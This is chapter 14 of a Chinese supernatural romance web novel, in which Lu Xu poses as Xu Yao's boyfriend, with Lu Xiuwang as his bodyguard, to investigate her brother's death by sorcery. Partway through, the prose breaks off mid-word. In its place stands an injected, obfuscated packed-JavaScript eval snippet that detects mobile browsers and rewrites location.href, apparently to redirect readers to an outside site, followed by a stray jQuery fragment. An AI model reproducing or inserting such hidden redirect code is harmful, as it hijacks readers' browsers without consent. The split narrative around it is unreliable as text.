默认冷灰
24号文字
方正启体

14. 第 14 章

作者:死挽颂本书字数:K更新时间:
    安排完任务,三人换了身行头。


    陆修望让人准备了一身廉价的黑色休闲西装,墨镜遮住那张过分英俊的脸,整个人气质看起来可靠又冷峻,除了太年轻,确实有几分保镖的架势。


    陆叙和他借了几条真货奢侈品配饰,虽然也是一身黑,但穿得很有搭配感,宽松的黑色衬衫敞开两个扣子,链子在领口若隐若现,头发被他故意抓得蓬松凌乱,配上那张本就有点玩世不恭的脸,说是四处招摇的二世祖也确实说得过去。


    他对着镜子左看右看,越看越觉得好玩。


    “配合一下。”他凑近陆修望,把手机举了起来。


    陆修望皱着眉,显然很不适应镜头:“乱拍什么啊?”


    “当保镖就得有保镖的样子。”陆叙板起脸,虚踢了他一脚,“老板的命令都不听了吗?”


    嘴上这么说着,人已经搂住陆修望的肩,随意拍了几张:“诶,还挺像那么回事。”


    他翻看照片,又觉得不够满意,拉着陆修望换了好几个角度,陆修望一脸无奈地配合他,最后实在忍不住了:“你不是要做正事吗?”


    “这也是正事,你没工作过你不懂,工作得留痕。”陆叙干脆靠在陆修望怀里,摆出一副被保护的姿势,这次手机怼得很近,陆修望瞥见镜头里陆叙满是笑意的脸,愣了愣神。


    等陆叙胡闹完,陆修望终于忍不住开口:“发来。”


    “什么?”


    “工作照,发来我检查一下,我怕你偷偷拍我丑照。”


    “你把我当什么人了?”陆叙冷哼一声,还是把照片发了过去,不忘叮嘱他,“别往社交平台发,影响我专业的形象。”


    “你还有专业形象?”


    “停停停,你这话什么意思?”听他这话,陆叙不乐意了,推了他一把,“信不信我现在就开除你?”


    陆修望刚抓住他作乱的手腕,门口就传来脚步声。


    许瑶换了一身黑色的休闲服,站在门口等他们,整个人看起来憔悴又虚弱,想到后续回家以后要面对的一切,她的眼睛渐渐泛红,那种真实的悲伤和无助无法遮掩。


    陆叙看见她,刚才还嬉皮笑脸的表情瞬间收敛。他走过去,抬手在她肩上轻轻拍了两下:“走吧。”


    声音很轻,却带着点安抚的意味,许瑶习惯性想拉住他的手臂,看到旁边站着的满脸阴沉的陆修望,又讪讪地松开了。


    陆修望车开得飞快,陆叙坐在副驾驶,打量着车内配饰,忍不住问:“让你找一辆低调点的,你这是干什么?”


    “这就是最差的。”陆修望瞥了他一眼,又补充,“平时就家里保镖开。”


    “最差的……保镖开的……”陆叙叹息,“我真想和你们这些有钱人爆了。”


    “老公的就是你的,你生什么气。”陆修望随口安抚。


    陆叙被噎了一下,转过头不说话了。


    临近傍晚,陆修望把车停在许瑶家院子里,许瑶母亲已经等在门口,她看起来不过四十,保养得很好,但憔悴得很明显,看见许瑶的瞬间,眼泪夺眶而出。


    “瑶瑶……”许母哽咽着把女儿抱进怀里,许瑶身体僵了一下,但还是抱住了母亲。


    许父也从屋里走出来,头发梳得整齐,但脸上满是疲惫,眼睛里布满血丝。


    “瑶瑶,你怎么出院了?”许父皱起眉,看起来很严肃,“身体还没好……”


    “我没事了,爸。”许瑶打断他,声音有点发紧。


    她转身,指了指陆叙:“这是我男朋友,他不太放心我出院,就跟着我过来看看。”


    陆叙往前走了一步,礼貌地点了点头,顺势递上陆修望家里招待客人的果篮:“叔叔阿姨好,我姓陆,是瑶瑶的男朋友,我们交往快一年了。”


    许父看了他一眼,又看了看他身后一脸严肃的陆修望,皱起眉:“这位是……”


    “他啊,我保镖。”陆叙看了陆修望一眼,随口说。


    许父愣了一下,眼里闪过一丝怀疑。许瑶接过话头,指了指停在院子里的车:“他刚拿驾照,家里人不放心他开车,找了个人送我们回来。”


    许父看见那辆黑色轿车,虽然低调,但也能看出价格不菲,心里略一思索,这小子大概是个家里过度保护的暴发户少爷,看起来也没什么坏心思,表情这才缓和了一些,侧身让他们进了屋。


    屋里装修得很精致,到处都摆着白色的菊花,很专业的布置,墙上挂着一张黑白照片,是个二十多岁的年轻男人,笑得很阳光,也没什么大问题。


    陆叙微微松了口气,那个人没胆子在他们家里的灵堂动手脚。


    看到照片,许瑶再也绷不住,放声大哭了起来,许母坐在她旁边,紧紧抱着她,但陆叙注意到,许瑶的表情有些僵硬,很显然对父母已经心存芥蒂。


    等她情绪稍微平复了一些,陆叙作出关切的样子,走到许瑶面前蹲下,捧住她的脸给她擦了擦眼泪,又轻声示意她:“看遗体。”


    许瑶怔了一下,很快回过神,抹了抹眼泪,轻声问:“哥哥现在……在哪儿?”


    许母又哽咽起来:“在殡仪馆……还没到日子,还不能入土为安……”


    许瑶握住母亲的手:“我想去看看哥哥。”


    “你身体……”许母说。


    “没事,妈。”许瑶声音悲切,“我想见哥哥最后一面。”


    许父沉默了一会,最终还是点了点头。


    到了殡仪馆,工作人员带着一行人进了里间,许瑶走上前,颤抖着掀开白布,她伸手轻轻摸了摸哥哥的脸,哭得说不出话来。


    陆叙站在旁边盯着那具尸体看,眉头紧紧皱着,眼里闪过一丝凝重。


    陆修望注意到他的表情,不经意走到许父身边,掏出烟盒递过去:“叔叔,外面抽根烟?”


    把许父支走,陆叙这才走上前,仔细观察着尸体的脸,又看了看脖子和手腕。


    “陆先生……”许瑶小声问,“我哥哥他……”


    陆叙没接话,快速将一个太乙守魄符塞到许怀袖子里,然后用手指轻点许怀天目、魄门、下魄,各点一下,借雷力震慑外力牵引。


    “回去再说。”


    许父等在门外,看到陆叙扶着情绪低落的许瑶出来,也没多想,交代了工作人员几句,带着三人回了家。


    吃完饭已经临近十点,许瑶回房休息,许父把二人安排到了附近的酒店。


    酒店是许父挑的,档次不错,陆修望站在房间里环顾一圈,还是忍不住皱起眉,这种环境对他来说确实算不上舒适,翻来覆去躺了一会,实在睡不着,干脆坐起来掏出手机。


    陆叙今天发给他的照片还没来得及细看,他一张张翻过去,看着陆叙嬉皮笑脸的模样,心情也好了很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099177|195686||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多。


    最后一张是陆叙靠在他怀里,正脸怼着镜头,眉眼弯弯,整个人松弛又慵懒。而他自己,脸偏向一边,眼神不耐烦,嘴角却微微扬起。


    陆修望盯着看了很久,手指在屏幕上划了几下,把照片放上了主屏幕。


    也就在这时,屏幕上跳出来一条特别关注的新消息。


    陆修望点开,陆叙的声音从听筒里传出来,对方明显憋着笑,声音非常刻意:


    “老公,我睡不着,有点害怕,你过来陪我。”


    他点开又听了一遍,甚至能想象这个人脸上那副恶作剧得逞的表情,心里涌起一阵无奈,又有点说不出的甜蜜,最后还是站起来,套上外套出了门。


    房间就在隔壁,门很快开了,陆叙换了身印着小狗图案的睡衣,头发有点乱,脸上挂着促狭的笑,陆修望感觉自己心脏跳得更快了。


    “来得挺快啊。”陆叙靠在门框上,伸手拍了拍他的脸,“就这么担心我?”


    陆修望笑了一声,抓住他的手,把他按在墙上,伸手帮他整理了一下头发,看对方一副顺从的样子,他刚要开口,余光瞥见坐在沙发上的许瑶。


    “……”


    场面有点尴尬,陆修望找了个椅子坐下,装作无事发生般开口:“今天下午,你们发现了什么?”


    陆叙看了一眼许瑶,叹息一声,还是开口了:“你哥本来的运势里,今年确实流年不利,但大概率就是生一场大病,或者破一大笔财,这种劫,本来是有回旋余地的。”


    许瑶惨笑一声:“是我父母害了他。”


    “对,因为那个人的邪术,算是直接掐断了他的护身气运线。”陆叙的声音很冷,“这就等于把一道小坎,强行升格成了天堑。命理上讲,这叫破势、夺机,已经不属于正常的因果流转了。”


    “更关键的一点,他是意外离世的,这是被外力强行造成的不应死之劫,正常寿数未尽、又不是自己业力招致的横死,也不是被施术人直接害死,鬼差是不能随意勾魂的。”


    陆修望问:“不应死?是说他本不该死?”


    “不应死而死,魂魄荡散,道家度亡大本里,把这种间接被厌胜巫蛊之术害死的人归类于三十六伤亡、十八恶死,这类人死后形魂零乱不能聚,阴司死亡处理流程不能正常启动,魂魄下去之后没有暂存点,鬼差就不能按正常流程接引。”


    许瑶焦急地问:“那现在怎么办?”


    “必须要牒天医 ,请全形诸司官将,全形昇度。”陆叙补充,“但在此之前,得尽快把那个邪修揪出来,他已经坐不住了。”


    “你哥神魂离体还没到七天,但散得异常迅速。”陆叙表情凝重,“我解了厌胜之后,他肯定受到了反噬,现在可能是怕夜长梦多,怕事情彻底圆不回来,粗暴地加速了收魂镇魂,连掩盖的后手都来不及做得太细。”


    他指了指手机上的日期:“好在还没到十五,头七也未满,还有操作空间。”


    陆修望盯着他:“要不我直接让人去查,更省事。”


    陆叙看向许瑶:“这是你的家事,你怎么看?”


    许瑶起身,冲两人鞠了一躬,又看向陆修望:“我现在就去和我父母沟通,如果不行,就麻烦你了,陆……陆先生。”


    陆叙叮嘱她:“你机灵点,话别说太直,我怕你父母听不进劝,反倒把你自己搭进去。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)